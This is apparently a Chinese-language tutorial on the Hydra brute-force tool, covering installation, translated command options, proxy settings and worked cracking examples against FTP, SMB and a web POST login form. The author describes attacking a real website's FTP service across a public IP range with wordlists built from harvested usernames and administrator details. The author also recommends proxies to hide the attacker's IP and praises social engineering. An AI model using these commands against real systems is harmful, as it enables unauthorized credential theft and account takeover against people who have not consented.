hydra著名黑客组织thc的一款开源的暴力破解工具,可以破解多种密码。其官网http://www.thc.org,本文测试版本为最新版本5.8,可支持
TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL,
REXEC,RSH, RLOGIN, CVS, SNMP, SMTP-AUTH, SOCKS5, VNC, POP3, IMAP,
NNTP, PCNFS,ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak,
Cisco auth, Cisco enable,AFP, LDAP2, Cisco AAA
等密码破解。唯一觉得不大方便的是,用于密码破解的字典必须我们自己制作指定
0x01安装手记
cd到下载好的安装程序目录,解压软件包
sudo tar zxvf hydra-5.8-src.tar.gz
得到hydra-5.8-src文件夹,进入该文件夹,按照安装说明首先进行配置
sudo ./configure
会检测到当前系统一些组建配置,主要是对于破解支持模块的检测,大家根据需要安装对应的支持库和依赖包,在以后实战过程我可能会提到
相关模块。
直接继续编译,sudo make和sudo make install,这样就安装完成了。另外值得说明的是,该软件支持GUI的人性化界面,个人不推荐,感兴趣
的朋友可以到官网下载页面查看。
0x02参数详解(官网是英文,下面我翻译成中文)
格式: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT] # 可选的
-R 继续从上一次进度接着破解
-S 采用SSL链接(大写的S)
-s PORT 如果非默认端口,可通过这个参数指定
-l LOGIN 小写,用于指定破解的用户,对特定用户破解
-L FILE 大写,用于指定用户的用户名字典
-p PASS 小写,用于指定密码破解,少用,一般是采用密码字典
-P FILE 大写,用于指定密码字典
-e ns 额外的选项,n:空密码试探,s:使用指定账户和密码试探
-C FILE 使用冒号分割格式 例如 "登录名:密码"来代替-L/-P参数
-M FILE 指定目标列表文件一行一条
-o FILE 指定结果输出文件
-f 在使用-M参数以后找到第一对登录名或者密码的时候中止破解
-t TASKS 同时运行的线程数,默认为16
-w TIME 设置最大超时的时间,单位秒,默认是30s
-v / -V 显示详细过程
server 目标ip
service 指定服务名,支持如下: telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy
cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq
sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp
OPT 可选项
如何使用代理服务器进行破解(这一点主要处于攻击者的ip,处于自身安全考虑)
----------------------------
HYDRA_PROXY_HTTP 变量参数可以用来定义代理服务器(只能使用http代理)
语法:
HYDRA_PROXY_HTTP="http://ip:port/"
HYDRA_PROXY_CONNECT=ip:8000
如果你使用的代理需要用户名和密码,请使用HYDRA_PROXY_AUTH 变量参数:
HYDRA_PROXY_AUTH="the_login:the_password"
0x03实例破解
1.ftp密码破解
结合自己实例,最近试探一个网站,得到了ftp用户,是serv-u6.02但是无法破解密码,我通过收集这些ftp用户将结果保存在ftpuser.lst文件
中,同时通过收集各个网站的信息,包括管理员的信息组合形成一个密码字典ftppwd.lst。于是,就开始尝试破解,命令如下:
sudo hydra -L /home/dict/ftpuser.lst -P /home/dict/ftppwd.lst 218.86.103.* ftp
这个是基于多用户密码破解,另外还有一个本地ftp密码破解方案。为了效率我直接将密码写入到pwd.lst字典中
sudo hydra -l administrator -P /home/dict/pwd.lst -v 192.168.8.6 ftp
返回结果如下,成功破解了密码:
# 该行说明任务总数,会根据你提供用户名和密码进行计算,l:1/p:2表示一个用户名,密码字典中又2个密码
[DATA] 2 tasks, 1 servers, 2 login tries (l:1/p:2), ~1 tries per task
[DATA] attacking service ftp on port 21
[VERBOSE] Resolving addresses ... done
[STATUS] attack finished for 192.168.8.6 (waiting for childs to finish)
# 破解成功,直接显示出来,当然你可以让他输出到文件,通过参数-o设定
[21][ftp] host: 192.168.8.6 login: administrator password: 123
通过这种方法有极大可能破解这个ftp,当然关键在于你的字典,我们可以通过字典生成器就可以很好的破解了。
2.samba密码破解
利用nmap扫描到服务器开启了samba服务,于是尝试收集该服务器信息组合成密码字典。由于该应用类似ftp破解,这里不对具体演示,只是将
ftp服务改成smb服务即可。
3.网站后台密码破解
该软件的强大之处就在于支持多种协议的破解,同样他也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式
提交密码破解提供思路。该工具又一个不好的地方就是,如果目标网站登录时候需要验证码无法破解了。带参数破解如下:
<form action="index.php" method="POST">
<input type="text" name="name" /><BR><br>
<input type="password" name="pwd" /><br><br>
<input type="submit" name="sub" value="提交">
</form>
假设有以上一个密码登录表单,我们执行命令:
sudo hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form
“index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”
# 破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t是同时线程数为1,-f是当破解了一个密码就停止,ip是本地,就
是目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解
后面参数是网页中对应的表单字段的name属性,后面<title>中的内容是表示错误猜解的返回信息提示,可以自定义。
0x04总结
该工具的强大只有你自行体验了,当然密码能否破解关键在于你的字典。以上一些实例操作仅仅是提供的支持的众多服务中的3种,其他的服务
也同样非常强大,留给大家自行体会。其实密码字典的生成有相关的工具,你可以自己生成符合一定规则的密码字典。当然如果你是一个成功
的社工专家,往往能够得到事半功倍的效果。